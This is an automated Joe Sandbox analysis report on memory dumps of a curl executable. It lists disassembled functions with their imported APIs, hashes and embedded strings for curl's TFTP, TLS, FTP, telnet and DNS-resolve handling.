free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00885483
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008854AD

Part of subcall function 0087E574: getsockname.WS2_32(?,?,?), ref: 0087E5C6
Part of subcall function 0087E574: WSAGetLastError.WS2_32(?,?,?), ref: 0087E5D0

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free$ErrorLastgetsockname
String ID:
API String ID: 3375700865-0
Opcode ID: 7d069c9dea97947120161512666caeeab13065f5cdd6787dc2d0857a1d8142be
Instruction ID: b5215547c5ec729ddd2715217e182b050d118d5df458419506d31c1625360244
Opcode Fuzzy Hash: 7d069c9dea97947120161512666caeeab13065f5cdd6787dc2d0857a1d8142be
Instruction Fuzzy Hash: C5B11032A04A15DFDB099F24E844B98BBF2FF49311F14817AED499B366DBB52810CF94

Function 00881EF9 Relevance: 25.2, APIs: 20, Instructions: 164COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00889633,00000000), ref: 00881F12
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00881F31
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00881F4E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00881F6B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00881F88
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00881FA5

Part of subcall function 00886D23: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,00881751,?,00000000,?,?,?,00868BF9), ref: 00886D39
Part of subcall function 00886D23: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,?,?,00868BF9), ref: 00886D52
Part of subcall function 00886D23: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00868BF9), ref: 00886D69
Part of subcall function 00886D23: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00868BF9), ref: 00886D80
Part of subcall function 00886D23: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00886D97
Part of subcall function 00886D23: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00886DAE
Part of subcall function 00886D23: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00886DC5
Part of subcall function 00886D23: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00886DDC
Part of subcall function 00886D23: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00886DF3
Part of subcall function 00886D23: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00886E0A
Part of subcall function 00886D23: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00886E21
Part of subcall function 00886D23: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00886E38
Part of subcall function 00886D23: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00886E4F

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00881FCD
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00881FEA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00882007
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00882024
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00882041

Part of subcall function 0087D126: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0087D13A

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00882066
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0088207D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00882094
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008820AB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008820C5

Part of subcall function 00881DD7: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00881DFA

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00882102

Part of subcall function 00886D23: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00886E66

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0088212A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00882147
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0088215F

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: ef4aa351d05466250ed9a95069db60f117c093f0ddac12927112c6489961aee4
Instruction ID: 8bc68571ba1ae79b1d5e0c59c70d5d714021c392295fc4d5258953774da92612
Opcode Fuzzy Hash: ef4aa351d05466250ed9a95069db60f117c093f0ddac12927112c6489961aee4
Instruction Fuzzy Hash: EB61B972A10A26EBDB095F34EC4469CFBA6FF49711F14822BD51693362CFB528208FD0

Function 00897979 Relevance: 24.8, APIs: 4, Strings: 10, Instructions: 310COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00897B0C

Strings

netascii, xrefs: 00897998
TFTP file name too long, xrefs: 00897AEB
tftp_send_first: internal error, xrefs: 008979CE
blksize, xrefs: 00897C3E
%s%c%s%c, xrefs: 00897B2B
%I64d, xrefs: 00897BA5
octet, xrefs: 00897993
TFTP buffer too small for options, xrefs: 00897CD8
tsize, xrefs: 00897BD8
timeout, xrefs: 00897CA1

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free
String ID: %I64d$%s%c%s%c$TFTP buffer too small for options$TFTP file name too long$blksize$netascii$octet$tftp_send_first: internal error$timeout$tsize
API String ID: 1294909896-119092532
Opcode ID: 7d1bb6e665065f872c05e065004a0575418517bdf1f59f3fdba7aff4d3e095fa
Instruction ID: 51d423b8cb42e272d61c86527bf44a360b1a33e8e3cf3dce6524e68b7cbd8a6b
Opcode Fuzzy Hash: 7d1bb6e665065f872c05e065004a0575418517bdf1f59f3fdba7aff4d3e095fa
Instruction Fuzzy Hash: 85B1FF71A086059FDF28EB68CC85FAAB7B5FF46314F0881A8E50DD7391DA30AD45CB94

Function 008A51EC Relevance: 24.8, APIs: 2, Strings: 12, Instructions: 285encryptionCOMMON

Download Yara Rule

APIs

Part of subcall function 0088720A: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,00881751,?,00000000,?,?,?,00868BF9), ref: 0088724B
Part of subcall function 0088720A: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,?,?,00868BF9), ref: 00887261

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008A5531
CertFreeCertificateContext.CRYPT32(00000000), ref: 008A5587

Strings

schannel: failed to retrieve ALPN result, xrefs: 008A5316
/1.1, xrefs: 008A535B
http, xrefs: 008A5352
schannel: failed to setup replay detection, xrefs: 008A5289
schannel: failed to setup confidentiality, xrefs: 008A529D
ALPN: server did not agree on a protocol. Uses default., xrefs: 008A5377
schannel: failed to setup stream orientation, xrefs: 008A52CB
schannel: failed to setup memory allocation, xrefs: 008A52B4
schannel: failed to setup sequence detection, xrefs: 008A5275
ALPN: server accepted %.*s, xrefs: 008A5335
schannel: failed to store credential handle, xrefs: 008A5490
schannel: failed to retrieve remote cert context, xrefs: 008A55B3

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free$CertCertificateContextFreecalloc
String ID: /1.1$ALPN: server accepted %.*s$ALPN: server did not agree on a protocol. Uses default.$http$schannel: failed to retrieve ALPN result$schannel: failed to retrieve remote cert context$schannel: failed to setup confidentiality$schannel: failed to setup memory allocation$schannel: failed to setup replay detection$schannel: failed to setup sequence detection$schannel: failed to setup stream orientation$schannel: failed to store credential handle
API String ID: 219865100-3105508259
Opcode ID: 60c795a2e4edb12987a876c324e2eca58382f1b45cf1bf4e0d9b571c632a273e
Instruction ID: 00054dd1cb19082afc85aa04e7e7fc2c5922adb23fb88256992835fe2243a84e
Opcode Fuzzy Hash: 60c795a2e4edb12987a876c324e2eca58382f1b45cf1bf4e0d9b571c632a273e
Instruction Fuzzy Hash: 90B1F271A04A189FEF289B14C885BE9B7F4FF4A314F144199E508EB682DB74ADC1CF91

Function 0086F7FA Relevance: 24.8, APIs: 12, Strings: 2, Instructions: 281stringCOMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0086F866
strtoul.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,0000000A), ref: 0086F87A
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0086F886
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0086F9A0
strtoul.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,0000000A), ref: 0086F9AF
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0086F9BB
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0086FA09
strtoul.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,0000000A), ref: 0086FA18
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0086FA24
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0086FA39
strtoul.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,0000000A), ref: 0086FA48
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0086FA54

Part of subcall function 00863857: __stdio_common_vsscanf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,000000FF,?,00000000,?), ref: 00863872

Strings

%c-%c%c, xrefs: 0086F849
0Lu@Ru@/Mu, xrefs: 0086F866, 0086F886, 0086F9A0, 0086F9BB, 0086FA09, 0086FA24, 0086FA39, 0086FA54

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: _errno$strtoul$__stdio_common_vsscanf
String ID: %c-%c%c$0Lu@Ru@/Mu
API String ID: 3842623485-2714145814
Opcode ID: 435382de80455a51f6fe9fe85d8abbc4ecc54a528573d47af91f839f32efdcd7
Instruction ID: 4ba4089ad5234cb99d5f768f0f96f4aee359f0d7e64732f3c7c62e23fe2b6b8d
Opcode Fuzzy Hash: 435382de80455a51f6fe9fe85d8abbc4ecc54a528573d47af91f839f32efdcd7
Instruction Fuzzy Hash: 4EB1DD74A002199FCB10CFA8E894AADBBB5FF49308F2A81B9DA45DB342D731DD41CB50

Function 008AD19B Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 203COMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008ACB20
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008ACB42
realloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008ACB9C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008AD01D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008AD033

Strings

, xrefs: 008AD269
., xrefs: 008AD213
, xrefs: 008AD255
, xrefs: 008AD1D8
, xrefs: 008AD291
:, xrefs: 008AD21C
., xrefs: 008AD2B2
, xrefs: 008AD2BA
, xrefs: 008AD22D

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free$callocmallocrealloc
String ID: $ $ $ $ $ $.$.$:
API String ID: 4199894680-3908554926
Opcode ID: 475c9758a9dce6b488582b444d4b562a46041dd4013ae0a1b2e4cfc54111d1a6
Instruction ID: e6b9fd6ee528b32ed1b1dd9bec9c28fada440a6379d1b778a87651756cd2ff29
Opcode Fuzzy Hash: 475c9758a9dce6b488582b444d4b562a46041dd4013ae0a1b2e4cfc54111d1a6
Instruction Fuzzy Hash: 2C719B31601B169FF728DF29C648725BBE2FB4A324F188119D416C7EA1D776F840CB95

Function 008AFE08 Relevance: 24.3, APIs: 13, Strings: 3, Instructions: 306COMMON

Download Yara Rule

Strings

GSSAPI handshake failure (invalid security layer), xrefs: 008AFF18
GSSAPI handshake failure (invalid security data), xrefs: 008AFED3
GSSAPI handshake failure (empty security message), xrefs: 008B0193

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID:
String ID: GSSAPI handshake failure (empty security message)$GSSAPI handshake failure (invalid security data)$GSSAPI handshake failure (invalid security layer)
API String ID: 0-3320144510
Opcode ID: 40163ab729514d16a25c558400d1e328a56522d5759a1fc8631c90c4fd27feae
Instruction ID: 8470ca8d9f4281acafca1206fdfd2b537bdc9424f9a890326c17b14c2fdbf3e6
Opcode Fuzzy Hash: 40163ab729514d16a25c558400d1e328a56522d5759a1fc8631c90c4fd27feae
Instruction Fuzzy Hash: 55C11271A04619DFDB14CFA8EC44AADBBF5FF09310F24812AE905E7352DB75A9058F90

Function 008A4B3E Relevance: 23.1, APIs: 5, Strings: 8, Instructions: 395COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008A4BCA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008A4BFE
realloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008A4C39
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008A4CD0
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,00000000,00000000,?,00000000,00000000,?,?,?), ref: 008A4DDA

Part of subcall function 0087DB77: recv.WS2_32(?,?,?,00000000), ref: 0087DB81
Part of subcall function 0087DB77: WSAGetLastError.WS2_32(?,?,?,00000000), ref: 0087DB8E

Strings

schannel: unable to allocate memory, xrefs: 008A5122
schannel: failed to receive handshake, SSL/TLS connection failed, xrefs: 008A4F1B
SSL: public key does not match pinned public key, xrefs: 008A50BE
schannel: unable to re-allocate memory, xrefs: 008A4C41
schannel: next InitializeSecurityContext failed: %s, xrefs: 008A4FA8, 008A4FF8
schannel: %s, xrefs: 008A4FC7
schannel: failed to send next handshake data: sent %zd of %lu bytes, xrefs: 008A501F
schannel: SNI or certificate check failed: %s, xrefs: 008A4FE9

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: malloc$ErrorLastfreereallocrecv
String ID: SSL: public key does not match pinned public key$schannel: %s$schannel: SNI or certificate check failed: %s$schannel: failed to receive handshake, SSL/TLS connection failed$schannel: failed to send next handshake data: sent %zd of %lu bytes$schannel: next InitializeSecurityContext failed: %s$schannel: unable to allocate memory$schannel: unable to re-allocate memory
API String ID: 3337821324-3713536417
Opcode ID: db99b97452462db1956fcd2bb052649018e90f5ac9022eebb40a6c38323dca2d
Instruction ID: f164aaa367ad25ce110af3006bc03d8b88846821183839bf9d58ce0a997987e2
Opcode Fuzzy Hash: db99b97452462db1956fcd2bb052649018e90f5ac9022eebb40a6c38323dca2d
Instruction Fuzzy Hash: 9DF13970A006199FEF288F28C885BE9B7B5FF89314F1491AAE40DD7655DB749E80CF81

Function 0088ED3C Relevance: 23.1, APIs: 3, Strings: 10, Instructions: 308COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 0088EEE5

Strings

Resolve address '%s' found illegal, xrefs: 0088F105
(non-permanent), xrefs: 0088F05C
%255[^:]:%d, xrefs: 0088ED98
RESOLVE %s:%d is wildcard, enabling wildcard checks, xrefs: 0088F0AA
Couldn't parse CURLOPT_RESOLVE removal entry '%s', xrefs: 0088EDAD
*, xrefs: 0088F08B
RESOLVE %s:%d is - old addresses discarded, xrefs: 0088EFEE
Added %s:%d:%s to DNS cache%s, xrefs: 0088F07D
+, xrefs: 0088F055
Couldn't parse CURLOPT_RESOLVE entry '%s', xrefs: 0088F121

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: ___from_strstr_to_strchr
String ID: (non-permanent)$%255[^:]:%d$*$+$Added %s:%d:%s to DNS cache%s$Couldn't parse CURLOPT_RESOLVE entry '%s'$Couldn't parse CURLOPT_RESOLVE removal entry '%s'$RESOLVE %s:%d is - old addresses discarded$RESOLVE %s:%d is wildcard, enabling wildcard checks$Resolve address '%s' found illegal
API String ID: 601868998-1491845622
Opcode ID: 1df06219a403424cf2844854f839e029daa83c078fc74469ffb4bac7b3177eea
Instruction ID: b6b1625864b7da567c8b87e395ab8ab0befdba4c3c3208fe47eb8b7a2f22210d
Opcode Fuzzy Hash: 1df06219a403424cf2844854f839e029daa83c078fc74469ffb4bac7b3177eea
Instruction Fuzzy Hash: 41B104319046199EDB31AA18CC89BEEB7B5FF81304F1440E9E149E6282EB71AE85CF51

Function 008897D8 Relevance: 23.0, APIs: 9, Strings: 4, Instructions: 205stringCOMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00875A87), ref: 00889806
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00875A87), ref: 0088983D
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00875A87), ref: 0088985F
___from_strstr_to_strchr.LIBCMT ref: 0088986B
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(008C5674,00000000,00000002,?,00875A87), ref: 00889884
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(../,00000000,00000003), ref: 00889899
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008899D1

Strings

../, xrefs: 00889894
/../, xrefs: 008898EC
/.., xrefs: 00889918, 00889929
/./, xrefs: 008898B1

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free$strncmp$___from_strstr_to_strchrmalloc
String ID: ../$/..$/../$/./
API String ID: 11556461-456519384
Opcode ID: 8130b4fdb3735c9961ab8618a23d16bf8b889d034e8f3d4e27509cb01f9be780
Instruction ID: e9d75dccf76fec86d8351fa6ff1b29a6782ef2e1c833581e0e5d922da741ed78
Opcode Fuzzy Hash: 8130b4fdb3735c9961ab8618a23d16bf8b889d034e8f3d4e27509cb01f9be780
Instruction Fuzzy Hash: C5513821A086479BDB322B286C14B79BFE5FFA7754F2C006EE8C2D7343E6619C418751

Function 0089D200 Relevance: 22.9, APIs: 5, Strings: 10, Instructions: 410COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0089D359
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0089D36E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0089D3C0
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0089D405
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0089D58F

Strings

partial download completed, closing connection, xrefs: 0089D5BA
control connection looks dead, xrefs: 0089D553
Failure sending ABOR command: %s, xrefs: 0089D469
Exceeded storage allocation, xrefs: 0089D60E
Received only partial file: %I64d bytes, xrefs: 0089D71F
Remembering we are in dir "%s", xrefs: 0089D3D0
Uploaded unaligned file size (%I64d out of %I64d bytes), xrefs: 0089D696
server did not report OK, got %d, xrefs: 0089D5FB
ABOR, xrefs: 0089D445
No data was received, xrefs: 0089D709

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free
String ID: ABOR$Exceeded storage allocation$Failure sending ABOR command: %s$No data was received$Received only partial file: %I64d bytes$Remembering we are in dir "%s"$Uploaded unaligned file size (%I64d out of %I64d bytes)$control connection looks dead$partial download completed, closing connection$server did not report OK, got %d
API String ID: 1294909896-265991785
Opcode ID: b2fc51dbf4c472605ccb8260814e1ce7bd8671c29090c0b3630deed20845dc7c
Instruction ID: a3d483778fd67eb5fdc1e78e75e7779589b1df25f9b2606097f190200332e336
Opcode Fuzzy Hash: b2fc51dbf4c472605ccb8260814e1ce7bd8671c29090c0b3630deed20845dc7c
Instruction Fuzzy Hash: 08F114316087419FEF25EF38C58876ABBA1FB51314F1C861DE899C6282D774E844CB9A

Function 0087A0B8 Relevance: 22.8, APIs: 11, Strings: 2, Instructions: 89stringCOMMON

Download Yara Rule

APIs

GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 0087A0C3
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0087A0CB
__sys_nerr.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0087A0DD
__sys_errlist.API-MS-WIN-CRT-RUNTIME-L1-1-0(000000FF), ref: 0087A0EC
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 0087A0F6
_strrchr.LIBCMT ref: 0087A142
_strrchr.LIBCMT ref: 0087A15C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0087A173
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0087A180
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 0087A188
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000), ref: 0087A193

Strings

Unknown error %d (%#x), xrefs: 0087A125
0Lu@Ru@/Mu, xrefs: 0087A0CB, 0087A173, 0087A180

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: ErrorLast_errno$_strrchr$__sys_errlist__sys_nerrstrncpy
String ID: 0Lu@Ru@/Mu$Unknown error %d (%#x)
API String ID: 3225659327-1265552004
Opcode ID: 2b49dc245a5a6e1d8957539e7f7e2dcf28bce678d0a9e1a4afcbff783348f2fd
Instruction ID: 1b9224ad268bf638372a4315b56321419a810867801b31f8aa030c122972ca8a
Opcode Fuzzy Hash: 2b49dc245a5a6e1d8957539e7f7e2dcf28bce678d0a9e1a4afcbff783348f2fd
Instruction Fuzzy Hash: A321F431300A029BE719277C9C09B2E7BD9FFDA351F544029F00ADA3A5EAA1C8008677

Function 0089EE2C Relevance: 22.7, APIs: 5, Strings: 10, Instructions: 188stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00870DCE: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00870E08

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,0000001F), ref: 0089EF55
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0089F0E0
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0089F0F5

Part of subcall function 00870E10: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00863167), ref: 00870E2C
Part of subcall function 00870E10: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00870E41

Strings

USER,%s, xrefs: 0089EEAE
%127[^= ]%*[ =]%255s, xrefs: 0089EF19
XDISPLOC, xrefs: 0089EF74
NEW_ENV, xrefs: 0089EFB7
Syntax error in telnet option: %s, xrefs: 0089F0A9
BINARY, xrefs: 0089F03D
Unknown telnet option %s, xrefs: 0089F090
%hu%*[xX]%hu, xrefs: 0089F01E
TTYPE, xrefs: 0089EF31
1, xrefs: 0089F0B4

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
